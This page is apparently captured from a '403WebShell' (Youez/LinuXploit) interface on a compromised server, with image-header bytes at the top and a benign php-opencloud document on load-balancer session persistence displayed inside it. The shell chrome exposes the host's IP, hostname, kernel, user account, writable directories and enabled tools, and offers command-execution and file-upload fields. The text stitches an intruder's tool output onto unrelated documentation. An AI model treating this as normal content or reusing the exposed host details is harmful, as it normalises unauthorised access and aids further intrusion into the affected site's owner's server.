����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.141.24.158
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/sessions.rst
Session Persistence
===================

There are two types (or modes) of session persistence:

+-------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Name              | Description                                                                                                                                                                                                                       |
+===================+===================================================================================================================================================================================================================================+
| ``HTTP_COOKIE``   | A session persistence mechanism that inserts an HTTP cookie and is used to determine the destination back-end node. This is supported for HTTP load balancing only.                                                               |
+-------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``SOURCE_IP``     | A session persistence mechanism that will keep track of the source IP address that is mapped and is able to determine the destination back-end node. This is supported for HTTPS pass-through and non-HTTP load balancing only.   |
+-------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

.. include:: lb-setup.sample.rst


List Session Persistence Configuration
--------------------------------------

.. code-block:: php

    $sessionPersistence = $loadBalancer->sessionPersistence();

    /** @var $sessionPersistenceType null | 'HTTP_COOKIE' | 'SOURCE_IP' **/
    $sessionPersistenceType = $sessionPersistence->persistenceType;

In the example above:

-  If session persistence is enabled, the value of
   ``$sessionPersistenceType`` is the type of session persistence:
   either ``HTTP_COOKIE`` or ``SOURCE_IP``.
-  If session persistence is disabled, the value of
   ``$sessionPersistenceType`` is ``null``.


Enable Session Persistence
--------------------------

.. code-block:: php

  $sessionPersistence = $loadBalancer->sessionPersistence();
  $sessionPersistence->update(array(
      'persistenceType' => 'HTTP_COOKIE'
  ));


Disable Session Persistence
---------------------------

.. code-block:: php

  $sessionPersistence = $loadBalancer->sessionPersistence();
  $sessionPersistence->delete();

Youez - 2016 - github.com/yon3zu
LinuXploit